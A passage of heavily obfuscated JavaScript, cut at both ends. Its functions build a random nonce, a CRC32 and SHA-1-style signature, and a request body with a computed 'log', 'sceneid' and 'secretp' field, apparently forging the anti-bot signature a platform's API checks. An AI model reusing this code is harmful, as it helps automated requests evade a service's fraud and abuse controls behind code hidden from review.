_0x335a92=0x0;_0x335a92<0x100;_0x335a92++){_0x4420fb[_0x335a92]=_0x335a92;}for(_0x335a92=0x0;_0x335a92<0x100;_0x335a92++){_0x239f09=(_0x239f09+_0x4420fb[_0x335a92]+_0xf82ddd['charCodeAt'](_0x335a92%_0xf82ddd['length']))%0x100;_0x238c64=_0x4420fb[_0x335a92];_0x4420fb[_0x335a92]=_0x4420fb[_0x239f09];_0x4420fb[_0x239f09]=_0x238c64;}_0x335a92=0x0;_0x239f09=0x0;for(var _0x236fba=0x0;_0x236fba<_0x3cd7b7['length'];_0x236fba++){_0x335a92=(_0x335a92+0x1)%0x100;_0x239f09=(_0x239f09+_0x4420fb[_0x335a92])%0x100;_0x238c64=_0x4420fb[_0x335a92];_0x4420fb[_0x335a92]=_0x4420fb[_0x239f09];_0x4420fb[_0x239f09]=_0x238c64;_0x46a902+=String['fromCharCode'](_0x3cd7b7['charCodeAt'](_0x236fba)^_0x4420fb[(_0x4420fb[_0x335a92]+_0x4420fb[_0x239f09])%0x100]);}return _0x46a902;};_0x5d0f['EvfSsd']=_0x2f0f2e;_0x5d0f['kZTgYH']={};_0x5d0f['JzCYFE']=!![];}var _0x1e162e=_0x5d0f['kZTgYH'][_0x27842b];if(_0x1e162e===undefined){if(_0x5d0f['ttjIbk']===undefined){_0x5d0f['ttjIbk']=!![];}_0x3feb27=_0x5d0f['EvfSsd'](_0x3feb27,_0xf82ddd);_0x5d0f['kZTgYH'][_0x27842b]=_0x3feb27;}else{_0x3feb27=_0x1e162e;}return _0x3feb27;};function randomWord(_0x3cbcd9,_0x208412,_0x2a37b4){var _0x360b19={'coSFR':function(_0x4dfa7b,_0x483edf){return _0x4dfa7b<_0x483edf;},'VOacp':function(_0x29f85b,_0x471a22){return _0x29f85b^_0x471a22;},'cYAKX':function(_0x4607f5,_0x1fe932){return _0x4607f5%_0x1fe932;},'TKRPe':function(_0x5e2494,_0x219d87){return _0x5e2494!==_0x219d87;},'WBjjp':_0x5d0f('0','uKab'),'xuWNa':function(_0x4bde36,_0x4c9b16){return _0x4bde36+_0x4c9b16;},'xYagP':function(_0x41ca2a,_0x9bc70a){return _0x41ca2a-_0x9bc70a;},'jsuBK':function(_0x339931,_0x5667a7){return _0x339931<_0x5667a7;}};let _0x53412f='',_0x163269=_0x208412,_0x3f3a67=['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'];if(_0x3cbcd9){if(_0x360b19['TKRPe'](_0x360b19['WBjjp'],_0x360b19[_0x5d0f('1','VkdQ')])){let _0x36d461=[],_0x4329fe,_0x448170=0x0;for(let _0x3166a1=0x0;_0x360b19[_0x5d0f('2','[UVd')](_0x3166a1,time['toString']()[_0x5d0f('3','O3*%')]);_0x3166a1++){_0x448170=_0x3166a1;if(_0x448170>=nonstr['length'])_0x448170-=nonstr[_0x5d0f('4','%iLq')];_0x4329fe=_0x360b19[_0x5d0f('5','M&d@')](time[_0x5d0f('6','pIyP')]()[_0x5d0f('7','%iLq')](_0x3166a1),nonstr[_0x5d0f('8','hL8D')](_0x448170));_0x36d461['push'](_0x360b19[_0x5d0f('9','F]wS')](_0x4329fe,0xa));}return _0x36d461[_0x5d0f('a','UhSj')]()[_0x5d0f('b','Q1q0')](/,/g,'');}else{_0x163269=_0x360b19[_0x5d0f('c','uKab')](Math[_0x5d0f('d','hg0S')](Math['random']()*_0x360b19[_0x5d0f('e',']E&A')](_0x2a37b4,_0x208412)),_0x208412);}}for(let _0x4072f2=0x0;_0x360b19[_0x5d0f('f','h8!g')](_0x4072f2,_0x163269);_0x4072f2++){pos=Math['round'](Math['random']()*(_0x3f3a67['length']-0x1));_0x53412f+=_0x3f3a67[pos];}return _0x53412f;}function minusByByte(_0x2d18ad,_0x3698d9){var _0x263f0d={'lRxqO':function(_0x263dcb,_0x41f220){return _0x263dcb(_0x41f220);},'YNACq':function(_0x5a82a3,_0x154b13){return _0x5a82a3(_0x154b13);},'FLGAS':function(_0x1684d4,_0x5179b4){return _0x1684d4!==_0x5179b4;},'TktEK':function(_0x4d4caa,_0x393715,_0x5dbdd6){return _0x4d4caa(_0x393715,_0x5dbdd6);},'jkOSl':function(_0x137c15,_0x474cba){return _0x137c15<_0x474cba;}};var _0x43b269=_0x2d18ad[_0x5d0f('10','x7xC')],_0x8e7b03=_0x3698d9[_0x5d0f('11',']E&A')],_0x2225c3=Math['max'](_0x43b269,_0x8e7b03),_0x1e3cd9=_0x263f0d[_0x5d0f('12','Zru9')](toAscii,_0x2d18ad),_0x50d743=_0x263f0d[_0x5d0f('13','uF8H')](toAscii,_0x3698d9),_0x35b76c='',_0x5ccab3=0x0;for(_0x263f0d[_0x5d0f('14','X5GX')](_0x43b269,_0x8e7b03)&&(_0x1e3cd9=_0x263f0d['TktEK'](add0,_0x1e3cd9,_0x2225c3),_0x50d743=this['add0'](_0x50d743,_0x2225c3));_0x263f0d[_0x5d0f('15','[UVd')](_0x5ccab3,_0x2225c3);)_0x35b76c+=Math['abs'](_0x1e3cd9[_0x5ccab3]-_0x50d743[_0x5ccab3]),_0x5ccab3++;return _0x35b76c;}function getKey(_0x34f5bd,_0x261c7d){var _0x2459f7={'jfrto':function(_0x4fed75,_0x53bbce){return _0x4fed75*_0x53bbce;},'pyOOK':function(_0x43603c,_0x11bfc1){return _0x43603c<_0x11bfc1;},'HcLbO':function(_0x28fd93,_0x4dc312){return _0x28fd93!==_0x4dc312;},'mxjwC':'KLtcw','nclsN':function(_0x5d917a,_0x111a7a){return _0x5d917a>=_0x111a7a;},'qCuzy':function(_0x5ed516,_0x2b7e48){return _0x5ed516%_0x2b7e48;}};let _0x7777bf=[],_0x47261f,_0x1c2210=0x0;for(let _0x2a87ba=0x0;_0x2459f7['pyOOK'](_0x2a87ba,_0x34f5bd['toString']()[_0x5d0f('16','eb6n')]);_0x2a87ba++){if(_0x2459f7['HcLbO'](_0x2459f7[_0x5d0f('17','g#p(')],_0x2459f7[_0x5d0f('18','UhSj')])){pos=Math[_0x5d0f('19','LiYN')](_0x2459f7['jfrto'](Math['random'](),arr[_0x5d0f('1a','P[[8')]-0x1));str+=arr[pos];}else{_0x1c2210=_0x2a87ba;if(_0x2459f7['nclsN'](_0x1c2210,_0x261c7d[_0x5d0f('1b','mG2*')]))_0x1c2210-=_0x261c7d[_0x5d0f('1c','JUrC')];_0x47261f=_0x34f5bd['toString']()['charCodeAt'](_0x2a87ba)^_0x261c7d[_0x5d0f('1d','wRVw')](_0x1c2210);_0x7777bf[_0x5d0f('1e','^r[Y')](_0x2459f7[_0x5d0f('1f','K&6(')](_0x47261f,0xa));}}return _0x7777bf['toString']()[_0x5d0f('20','67kl')](/,/g,'');}function toAscii(_0x2c430c){var _0x4e8dd6={'dHiSG':function(_0x367444,_0x4d927b){return _0x367444(_0x4d927b);}};var _0xcfa266='';for(var _0x1ca3ab in _0x2c430c){var _0x50cc1f=_0x2c430c[_0x1ca3ab],_0x2be7f9=/[a-zA-Z]/['test'](_0x50cc1f);if(_0x2c430c['hasOwnProperty'](_0x1ca3ab))if(_0x2be7f9)_0xcfa266+=_0x4e8dd6[_0x5d0f('21','wRVw')](getLastAscii,_0x50cc1f);else _0xcfa266+=_0x50cc1f;}return _0xcfa266;}function add0(_0x11ba52,_0x595c1c){var _0x4dd66d={'nPaVH':function(_0x227628,_0x4fb675){return _0x227628+_0x4fb675;},'KYbAd':function(_0x1f585c,_0x599d8f){return _0x1f585c(_0x599d8f);}};return _0x4dd66d[_0x5d0f('22','Q1q0')](_0x4dd66d[_0x5d0f('23','Gw3R')](Array,_0x595c1c)[_0x5d0f('24','X5GX')]('0'),_0x11ba52)[_0x5d0f('25','h8!g')](-_0x595c1c);}function getLastAscii(_0x32faf4){var _0x2a68bb={'RlxdF':function(_0x431d5f,_0x4473b6){return _0x431d5f-_0x4473b6;}};var _0x16a5f1=_0x32faf4[_0x5d0f('26','Zru9')](0x0)['toString']();return _0x16a5f1[_0x2a68bb[_0x5d0f('27','g#p(')](_0x16a5f1[_0x5d0f('28','F]wS')],0x1)];}function wordsToBytes(_0x20a202){var _0x53ac2e={'NsvqU':function(_0x238c73,_0x5b11c5){return _0x238c73<_0x5b11c5;},'GltOo':function(_0x772c34,_0x206b3a){return _0x772c34>>>_0x206b3a;},'SeGte':function(_0x28bc2c,_0xcebd6){return _0x28bc2c-_0xcebd6;}};for(var _0x16976b=[],_0x2d7ece=0x0;_0x53ac2e[_0x5d0f('29','tZeG')](_0x2d7ece,0x20*_0x20a202[_0x5d0f('2a','Gw3R')]);_0x2d7ece+=0x8)_0x16976b['push'](_0x53ac2e['GltOo'](_0x20a202[_0x53ac2e[_0x5d0f('2b','s^4*')](_0x2d7ece,0x5)],_0x53ac2e[_0x5d0f('2c','O3*%')](0x18,_0x2d7ece%0x20))&0xff);return _0x16976b;}function bytesToHex(_0x479043){var _0x925eea={'EkFdf':function(_0x378287,_0xbe528){return _0x378287<_0xbe528;}};for(var _0x38b2e2=[],_0xf9d3e9=0x0;_0x925eea[_0x5d0f('2d','pIyP')](_0xf9d3e9,_0x479043['length']);_0xf9d3e9++)_0x38b2e2[_0x5d0f('1e','^r[Y')]((_0x479043[_0xf9d3e9]>>>0x4)['toString'](0x10)),_0x38b2e2[_0x5d0f('2e','YVDs')]((0xf&_0x479043[_0xf9d3e9])[_0x5d0f('2f','JUrC')](0x10));return _0x38b2e2['join']('');}function stringToBytes(_0xe40c0b){var _0x5e5101={'FtHAp':function(_0x4e135c,_0x21ec62){return _0x4e135c(_0x21ec62);},'WQWEq':function(_0x39776e,_0x5d04b7){return _0x39776e&_0x5d04b7;}};_0xe40c0b=_0x5e5101[_0x5d0f('30','&01^')](unescape,encodeURIComponent(_0xe40c0b));for(var _0x239a82=[],_0x258c76=0x0;_0x258c76<_0xe40c0b[_0x5d0f('31','JM[s')];_0x258c76++)_0x239a82['push'](_0x5e5101[_0x5d0f('32','^r[Y')](0xff,_0xe40c0b[_0x5d0f('33','uF8H')](_0x258c76)));return _0x239a82;}function bytesToWords(_0x3b1795){var _0xc519d={'OwMRS':function(_0x5a69d4,_0x124d80){return _0x5a69d4>>>_0x124d80;}};for(var _0x895b47=[],_0xc8c6eb=0x0,_0x2e6c75=0x0;_0xc8c6eb<_0x3b1795[_0x5d0f('34','Q1q0')];_0xc8c6eb++,_0x2e6c75+=0x8)_0x895b47[_0xc519d['OwMRS'](_0x2e6c75,0x5)]|=_0x3b1795[_0xc8c6eb]<<0x18-_0x2e6c75%0x20;return _0x895b47;}function crc32(_0xea794f){var _0x30732e={'zmtIM':function(_0x4259cd,_0x5e75d6){return _0x4259cd(_0x5e75d6);},'gCCPD':function(_0x31a006,_0x1c822e){return _0x31a006<_0x1c822e;},'jigRi':function(_0x48758b,_0x19e7d6){return _0x48758b>_0x19e7d6;},'bbpOW':function(_0x17b1c4,_0x352e6f){return _0x17b1c4|_0x352e6f;},'bgceJ':function(_0x3ef2b9,_0xa16f05){return _0x3ef2b9>>_0xa16f05;},'QSvit':function(_0x4092a7,_0x8c80b1){return _0x4092a7&_0x8c80b1;},'xcyDl':function(_0x37a27f,_0x25f617){return _0x37a27f!==_0x25f617;},'DrwJU':'YGvVW','nHpeq':function(_0x62be74,_0x73ca78){return _0x62be74<_0x73ca78;},'NFDsZ':function(_0x522734,_0x1173a7){return _0x522734+_0x1173a7;},'yhuyP':function(_0x37358b,_0x55d4bb){return _0x37358b^_0x55d4bb;},'ZoqMW':function(_0xea2fa5,_0x340be6){return _0xea2fa5-_0x340be6;},'fadaF':function(_0x48042d,_0x30b47f){return _0x48042d|_0x30b47f;},'zgdcv':function(_0x5b688b,_0x59aac4){return _0x5b688b<<_0x59aac4;},'jFxmT':function(_0x773039,_0x5bcf2e){return _0x773039>>>_0x5bcf2e;},'HccVF':function(_0x5799b4,_0x5d20c9){return _0x5799b4+_0x5d20c9;},'xDBRb':function(_0x2ffb64,_0x12131b){return _0x2ffb64>>>_0x12131b;},'AWAQK':function(_0x15fc97,_0x28a98a){return _0x15fc97|_0x28a98a;},'QSKJG':function(_0xa52fd6,_0x1a53f5){return _0xa52fd6+_0x1a53f5;},'OiHDK':function(_0xbad72e,_0x4d9656){return _0xbad72e<_0x4d9656;},'ZwiQk':function(_0xfcad03,_0x325625){return _0xfcad03-_0x325625;},'xnSZS':function(_0x571da9,_0x28c73e){return _0x571da9|_0x28c73e;},'ojdDa':function(_0xef2190,_0x3031fd){return _0xef2190&_0x3031fd;},'nOQYx':function(_0x4fcdcd,_0x2f5b45){return _0x4fcdcd^_0x2f5b45;},'TdBCs':function(_0x4631f6,_0x46e48f){return _0x4631f6^_0x46e48f;},'boVDs':function(_0x266493,_0x6e1164){return _0x266493!==_0x6e1164;},'FAuFk':_0x5d0f('35','%iLq'),'exIhF':_0x5d0f('36','79#U'),'uinyc':function(_0x2ff61f,_0x3463d4){return _0x2ff61f>>>_0x3463d4;},'XSbnN':function(_0x2b402a,_0x17d60f){return _0x2b402a>>>_0x17d60f;}};function _0x3f117a(_0x1320f0){_0x1320f0=_0x1320f0[_0x5d0f('37','V(n8')](/\r\n/g,'\x0a');var _0x13b99a='';for(var _0x513ec0=0x0;_0x30732e[_0x5d0f('38','s^4*')](_0x513ec0,_0x1320f0[_0x5d0f('11',']E&A')]);_0x513ec0++){var _0x205ba6=_0x1320f0['charCodeAt'](_0x513ec0);if(_0x30732e[_0x5d0f('39','nSkw')](_0x205ba6,0x80)){_0x13b99a+=String[_0x5d0f('3a','R#my')](_0x205ba6);}else if(_0x30732e['jigRi'](_0x205ba6,0x7f)&&_0x30732e['gCCPD'](_0x205ba6,0x800)){_0x13b99a+=String[_0x5d0f('3b','GbNz')](_0x30732e[_0x5d0f('3c','UhSj')](_0x30732e['bgceJ'](_0x205ba6,0x6),0xc0));_0x13b99a+=String['fromCharCode'](_0x30732e['bbpOW'](_0x30732e[_0x5d0f('3d','x7xC')](_0x205ba6,0x3f),0x80));}else{if(_0x30732e[_0x5d0f('3e','uF8H')](_0x30732e[_0x5d0f('3f','VkdQ')],_0x5d0f('40','Y!D2'))){var _0x443091='';for(var _0x9a89b1 in t){var _0x2829ed=t[_0x9a89b1],_0x6f3e50=/[a-zA-Z]/['test'](_0x2829ed);if(t[_0x5d0f('41','Gw3R')](_0x9a89b1))if(_0x6f3e50)_0x443091+=_0x30732e[_0x5d0f('42','LKK2')](getLastAscii,_0x2829ed);else _0x443091+=_0x2829ed;}return _0x443091;}else{_0x13b99a+=String[_0x5d0f('43','tZeG')](_0x30732e[_0x5d0f('44','JM[s')](_0x205ba6,0xc)|0xe0);_0x13b99a+=String[_0x5d0f('45','eb6n')](_0x30732e[_0x5d0f('46','s^4*')](_0x30732e['bgceJ'](_0x205ba6,0x6)&0x3f,0x80));_0x13b99a+=String[_0x5d0f('47','@w&B')](_0x30732e[_0x5d0f('48','CTFi')](_0x30732e[_0x5d0f('49','P[[8')](_0x205ba6,0x3f),0x80));}}}return _0x13b99a;};_0xea794f=_0x30732e['zmtIM'](_0x3f117a,_0xea794f);var _0x9d2f6e=[0x0,0x77073096,0xee0e612c,0x990951ba,0x76dc419,0x706af48f,0xe963a535,0x9e6495a3,0xedb8832,0x79dcb8a4,0xe0d5e91e,0x97d2d988,0x9b64c2b,0x7eb17cbd,0xe7b82d07,0x90bf1d91,0x1db71064,0x6ab020f2,0xf3b97148,0x84be41de,0x1adad47d,0x6ddde4eb,0xf4d4b551,0x83d385c7,0x136c9856,0x646ba8c0,0xfd62f97a,0x8a65c9ec,0x14015c4f,0x63066cd9,0xfa0f3d63,0x8d080df5,0x3b6e20c8,0x4c69105e,0xd56041e4,0xa2677172,0x3c03e4d1,0x4b04d447,0xd20d85fd,0xa50ab56b,0x35b5a8fa,0x42b2986c,0xdbbbc9d6,0xacbcf940,0x32d86ce3,0x45df5c75,0xdcd60dcf,0xabd13d59,0x26d930ac,0x51de003a,0xc8d75180,0xbfd06116,0x21b4f4b5,0x56b3c423,0xcfba9599,0xb8bda50f,0x2802b89e,0x5f058808,0xc60cd9b2,0xb10be924,0x2f6f7c87,0x58684c11,0xc1611dab,0xb6662d3d,0x76dc4190,0x1db7106,0x98d220bc,0xefd5102a,0x71b18589,0x6b6b51f,0x9fbfe4a5,0xe8b8d433,0x7807c9a2,0xf00f934,0x9609a88e,0xe10e9818,0x7f6a0dbb,0x86d3d2d,0x91646c97,0xe6635c01,0x6b6b51f4,0x1c6c6162,0x856530d8,0xf262004e,0x6c0695ed,0x1b01a57b,0x8208f4c1,0xf50fc457,0x65b0d9c6,0x12b7e950,0x8bbeb8ea,0xfcb9887c,0x62dd1ddf,0x15da2d49,0x8cd37cf3,0xfbd44c65,0x4db26158,0x3ab551ce,0xa3bc0074,0xd4bb30e2,0x4adfa541,0x3dd895d7,0xa4d1c46d,0xd3d6f4fb,0x4369e96a,0x346ed9fc,0xad678846,0xda60b8d0,0x44042d73,0x33031de5,0xaa0a4c5f,0xdd0d7cc9,0x5005713c,0x270241aa,0xbe0b1010,0xc90c2086,0x5768b525,0x206f85b3,0xb966d409,0xce61e49f,0x5edef90e,0x29d9c998,0xb0d09822,0xc7d7a8b4,0x59b33d17,0x2eb40d81,0xb7bd5c3b,0xc0ba6cad,0xedb88320,0x9abfb3b6,0x3b6e20c,0x74b1d29a,0xead54739,0x9dd277af,0x4db2615,0x73dc1683,0xe3630b12,0x94643b84,0xd6d6a3e,0x7a6a5aa8,0xe40ecf0b,0x9309ff9d,0xa00ae27,0x7d079eb1,0xf00f9344,0x8708a3d2,0x1e01f268,0x6906c2fe,0xf762575d,0x806567cb,0x196c3671,0x6e6b06e7,0xfed41b76,0x89d32be0,0x10da7a5a,0x67dd4acc,0xf9b9df6f,0x8ebeeff9,0x17b7be43,0x60b08ed5,0xd6d6a3e8,0xa1d1937e,0x38d8c2c4,0x4fdff252,0xd1bb67f1,0xa6bc5767,0x3fb506dd,0x48b2364b,0xd80d2bda,0xaf0a1b4c,0x36034af6,0x41047a60,0xdf60efc3,0xa867df55,0x316e8eef,0x4669be79,0xcb61b38c,0xbc66831a,0x256fd2a0,0x5268e236,0xcc0c7795,0xbb0b4703,0x220216b9,0x5505262f,0xc5ba3bbe,0xb2bd0b28,0x2bb45a92,0x5cb36a04,0xc2d7ffa7,0xb5d0cf31,0x2cd99e8b,0x5bdeae1d,0x9b64c2b0,0xec63f226,0x756aa39c,0x26d930a,0x9c0906a9,0xeb0e363f,0x72076785,0x5005713,0x95bf4a82,0xe2b87a14,0x7bb12bae,0xcb61b38,0x92d28e9b,0xe5d5be0d,0x7cdcefb7,0xbdbdf21,0x86d3d2d4,0xf1d4e242,0x68ddb3f8,0x1fda836e,0x81be16cd,0xf6b9265b,0x6fb077e1,0x18b74777,0x88085ae6,0xff0f6a70,0x66063bca,0x11010b5c,0x8f659eff,0xf862ae69,0x616bffd3,0x166ccf45,0xa00ae278,0xd70dd2ee,0x4e048354,0x3903b3c2,0xa7672661,0xd06016f7,0x4969474d,0x3e6e77db,0xaed16a4a,0xd9d65adc,0x40df0b66,0x37d83bf0,0xa9bcae53,0xdebb9ec5,0x47b2cf7f,0x30b5ffe9,0xbdbdf21c,0xcabac28a,0x53b39330,0x24b4a3a6,0xbad03605,0xcdd70693,0x54de5729,0x23d967bf,0xb3667a2e,0xc4614ab8,0x5d681b02,0x2a6f2b94,0xb40bbe37,0xc30c8ea1,0x5a05df1b,0x2d02ef8d];var _0x5841e3=0x0;var _0x4135e4=0x0;_0x4135e4=_0x30732e['TdBCs'](_0x4135e4,-0x1);for(var _0x1a9565=0x0,_0x256d01=_0xea794f['length'];_0x30732e[_0x5d0f('4a','&01^')](_0x1a9565,_0x256d01);_0x1a9565++){if(_0x30732e[_0x5d0f('4b','Y!D2')](_0x30732e[_0x5d0f('4c','z(N7')],_0x30732e[_0x5d0f('4d','VkdQ')])){_0x5841e3=_0xea794f[_0x5d0f('4e','mG2*')](_0x1a9565);_0x4135e4=_0x9d2f6e[_0x30732e[_0x5d0f('4f','67kl')](0xff,_0x4135e4^_0x5841e3)]^_0x30732e[_0x5d0f('50','BI(P')](_0x4135e4,0x8);}else{for(var _0x248230=s,_0x4b6bc8=u,_0xb6be9b=c,_0x5a2f3e=f,_0x10817c=h,_0x15a3b9=0x0;_0x30732e['nHpeq'](_0x15a3b9,0x50);_0x15a3b9++){if(_0x30732e[_0x5d0f('51','b^!y')](_0x15a3b9,0x10))a[_0x15a3b9]=e[_0x30732e[_0x5d0f('52','hg0S')](l,_0x15a3b9)];else{var _0x285a5a=_0x30732e[_0x5d0f('53','LKK2')](a[_0x30732e[_0x5d0f('54','JM[s')](_0x15a3b9,0x3)],a[_0x15a3b9-0x8])^a[_0x15a3b9-0xe]^a[_0x15a3b9-0x10];a[_0x15a3b9]=_0x30732e['fadaF'](_0x30732e['zgdcv'](_0x285a5a,0x1),_0x30732e[_0x5d0f('55','BI(P')](_0x285a5a,0x1f));}var _0x17a4dc=_0x30732e[_0x5d0f('56','hL8D')](_0x30732e[_0x5d0f('57','R#my')](_0x30732e[_0x5d0f('58','Q1q0')](s<<0x5,_0x30732e['xDBRb'](s,0x1b))+h,_0x30732e[_0x5d0f('59','hL8D')](a[_0x15a3b9],0x0)),_0x15a3b9<0x14?_0x30732e['HccVF'](0x5a827999,_0x30732e[_0x5d0f('5a','JUrC')](u&c,~u&f)):_0x30732e[_0x5d0f('5b','F]wS')](_0x15a3b9,0x28)?_0x30732e[_0x5d0f('5c','R#my')](0x6ed9eba1,u^c^f):_0x30732e[_0x5d0f('5d','hg0S')](_0x15a3b9,0x3c)?_0x30732e[_0x5d0f('5e','GbNz')](_0x30732e[_0x5d0f('5f','uKab')](_0x30732e[_0x5d0f('60','Q1q0')](u,c),_0x30732e[_0x5d0f('61','O3*%')](u,f))|_0x30732e[_0x5d0f('62','VkdQ')](c,f),0x70e44324):_0x30732e[_0x5d0f('63','uF8H')](_0x30732e[_0x5d0f('64','z(N7')](u,c),f)-0x359d3e2a);h=f,f=c,c=_0x30732e['zgdcv'](u,0x1e)|u>>>0x2,u=s,s=_0x17a4dc;}s+=_0x248230,u+=_0x4b6bc8,c+=_0xb6be9b,f+=_0x5a2f3e,h+=_0x10817c;}}return _0x30732e[_0x5d0f('65','67kl')](_0x30732e[_0x5d0f('66','K&6(')](-0x1,_0x4135e4),0x0);};function getBody(){var _0x5097fd={'UTUpN':function(_0x4e83cc,_0x392a2f){return _0x4e83cc+_0x392a2f;},'UNCnn':function(_0x26a8d8,_0xfb9110){return _0x26a8d8*_0xfb9110;},'wLMhf':function(_0x29b37e,_0x8c909d,_0x54adc9){return _0x29b37e(_0x8c909d,_0x54adc9);},'eotnJ':_0x5d0f('67','M&d@'),'Ltlls':function(_0x514a26,_0x492152){return _0x514a26(_0x492152);},'zAzmm':function(_0x31dd1c,_0x2c879c){return _0x31dd1c+_0x2c879c;},'GvHId':function(_0x10625a,_0x27acc9){return _0x10625a+_0x27acc9;},'ROeip':function(_0x14bd87,_0x4a0a42){return _0x14bd87(_0x4a0a42);},'xlciK':_0x5d0f('68','BwIe')};let _0x4edf03=Math[_0x5d0f('69','JUrC')](_0x5097fd[_0x5d0f('6a','[UVd')](0xf4240,_0x5097fd[_0x5d0f('6b','x7xC')](0x895440,Math['random']())))[_0x5d0f('6c','JM[s')]();let _0x463241=_0x5097fd[_0x5d0f('6d','VkdQ')](randomWord,![],0xa);let _0x1acd72=_0x5097fd['eotnJ'];let _0x186c30=Date[_0x5d0f('6e','Gw3R')]();let _0x2460d2=getKey(_0x186c30,_0x463241);let _0x3a4de6='random='+_0x4edf03+'&token='+_0x1acd72+_0x5d0f('6f','[UVd')+_0x186c30+'&nonce_str='+_0x463241+_0x5d0f('70','s^4*')+_0x2460d2+_0x5d0f('71','eb6n');let _0x35184c=_0x5097fd['Ltlls'](bytesToHex,wordsToBytes(_0x5097fd['Ltlls'](getSign,_0x3a4de6)))[_0x5d0f('72','c74f')]();let _0x46f771=_0x5097fd[_0x5d0f('73','BwIe')](crc32,_0x35184c)['toString'](0x24);_0x46f771=_0x5097fd[_0x5d0f('74','hL8D')](add0,_0x46f771,0x7);_0x35184c=_0x5097fd[_0x5d0f('75','wRVw')](_0x5097fd[_0x5d0f('75','wRVw')](_0x5097fd['UTUpN'](_0x5097fd[_0x5d0f('76','hL8D')](_0x5097fd['UTUpN'](_0x5097fd[_0x5d0f('77','BI(P')](_0x5097fd[_0x5d0f('77','BI(P')](_0x5097fd[_0x5d0f('78','VkdQ')](_0x5097fd['zAzmm'](_0x5097fd[_0x5d0f('79','[UVd')](_0x186c30['toString'](),'~1'),_0x463241),_0x1acd72)+'~4,1~',_0x35184c),'~'),_0x46f771),'~C~'),_0x35184c),'~'),_0x46f771);s=JSON['stringify']({'extraData':{'log':_0x5097fd['ROeip'](encodeURIComponent,_0x35184c),'sceneid':_0x5097fd[_0x5d0f('7a','UhSj')]},'secretp':$.secretp,'random':_0x4edf03[_0x5d0f('7b','Q1q0')]()});return s;}function getSign(_0x5c4631){var _0x5cbfa7={'fsqgu':function(_0x395529,_0x9b51f7){return _0x395529<_0x9b51f7;},'ILBZy':function(_0x3c5984,_0x164881){return _0x3c5984>>>_0x164881;},'qVQuW':function(_0x1131a2,_0x22d676){return _0x1131a2&_0x22d676;},'PzYxf':function(_0x221a16,_0x5aff58){return _0x221a16(_0x5aff58);},'CqEag':function(_0x29fe1d,_0xdaa166){return _0x29fe1d>>_0xdaa166;},'EyjhI':function(_0x4649e6,_0x10a863){return _0x4649e6<<_0x10a863;},'bpWct':function(_0x14779c,_0x21aa12){return _0x14779c-_0x21aa12;},'UzUgF':function(_0x56c5c8,_0x28a564){return _0x56c5c8%_0x28a564;},'Cwncg':function(_0x2ed9b5,_0x24dcca){return _0x2ed9b5+_0x24dcca;},'stmBC':function(_0x318f3e,_0x2299ad){return _0x318f3e<<_0x2299ad;},'cyrCS':_0x5d0f('7c',']E&A'),'dvcWT':function(_0x3e0dfe,_0x5be4e8){return _0x3e0dfe^_0x5be4e8;},'wtRUG':function(_0x4970fd,_0x53ad2a){return _0x4970fd^_0x53ad2a;},'KvGqO':function(_0x202d2e,_0x37a8bb){return _0x202d2e+_0x37a8bb;},'MgAbI':function(_0x5cf9fa,_0xff3512){return _0x5cf9fa|_0xff3512;},'mdUJR':function(_0x5e7edc,_0x59e7a6){return _0x5e7edc^_0x59e7a6;},'rahHa':function(_0x4cc57a,_0x150d0e){return _0x4cc57a|_0x150d0e;},'sTIDb':function(_0x4e546e,_0xf3fcf3){return _0x4e546e|_0xf3fcf3;},'xchFA':function(_0x406afa,_0x22dd82){return _0x406afa&_0x22dd82;},'PqjiU':function(_0x23b683,_0xab957b){return _0x23b683&_0xab957b;}};_0x5c4631=stringToBytes(_0x5c4631);var _0x280f0e=_0x5cbfa7['PzYxf'](bytesToWords,_0x5c4631),_0x50868f=0x8*_0x5c4631['length'],_0x14e96a=[],_0x9d2c54=0x67452301,_0x46e3b3=-0x10325477,_0x566d39=-0x67452302,_0x449b67=0x10325476,_0x9c56c=-0x3c2d1e10;_0x280f0e[_0x5cbfa7[_0x5d0f('7d','h8!g')](_0x50868f,0x5)]|=_0x5cbfa7[_0x5d0f('7e','hL8D')](0x80,_0x5cbfa7[_0x5d0f('7f','Gw3R')](0x18,_0x5cbfa7[_0x5d0f('80','O3*%')](_0x50868f,0x20))),_0x280f0e[_0x5cbfa7[_0x5d0f('81','uKab')](0xf,_0x5cbfa7[_0x5d0f('82','R#my')](_0x5cbfa7[_0x5d0f('83','&01^')](_0x50868f,0x40)>>>0x9,0x4))]=_0x50868f;for(var _0x8bcdb3=0x0;_0x8bcdb3<_0x280f0e['length'];_0x8bcdb3+=0x10){for(var _0x43baf2=_0x9d2c54,_0x4d1431=_0x46e3b3,_0x28709e=_0x566d39,_0x3c6a2f=_0x449b67,_0x26aa9c=_0x9c56c,_0x41cfc2=0x0;_0x41cfc2<0x50;_0x41cfc2++){if(_0x41cfc2<0x10)_0x14e96a[_0x41cfc2]=_0x280f0e[_0x5cbfa7[_0x5d0f('84','JUrC')](_0x8bcdb3,_0x41cfc2)];else{if(_0x5cbfa7['cyrCS']===_0x5cbfa7['cyrCS']){var _0x32561a=_0x5cbfa7['dvcWT'](_0x5cbfa7[_0x5d0f('85','M&d@')](_0x14e96a[_0x5cbfa7[_0x5d0f('86','z(N7')](_0x41cfc2,0x3)],_0x14e96a[_0x5cbfa7[_0x5d0f('87','nSkw')](_0x41cfc2,0x8)])^_0x14e96a[_0x5cbfa7['bpWct'](_0x41cfc2,0xe)],_0x14e96a[_0x5cbfa7[_0x5d0f('88',']E&A')](_0x41cfc2,0x10)]);_0x14e96a[_0x41cfc2]=_0x5cbfa7[_0x5d0f('89','uF8H')](_0x32561a,0x1)|_0x32561a>>>0x1f;}else{for(var _0xd7dc9a=[],_0x5d3cd2=0x0;_0x5cbfa7[_0x5d0f('8a','uF8H')](_0x5d3cd2,_0x5c4631[_0x5d0f('8b','s^4*')]);_0x5d3cd2++)_0xd7dc9a[_0x5d0f('8c','@w&B')](_0x5cbfa7[_0x5d0f('8d','hL8D')](_0x5c4631[_0x5d3cd2],0x4)[_0x5d0f('6c','JM[s')](0x10)),_0xd7dc9a[_0x5d0f('8e','BwIe')](_0x5cbfa7[_0x5d0f('8f','JM[s')](0xf,_0x5c4631[_0x5d3cd2])['toString'](0x10));return _0xd7dc9a[_0x5d0f('90','YVDs')]('');}}var 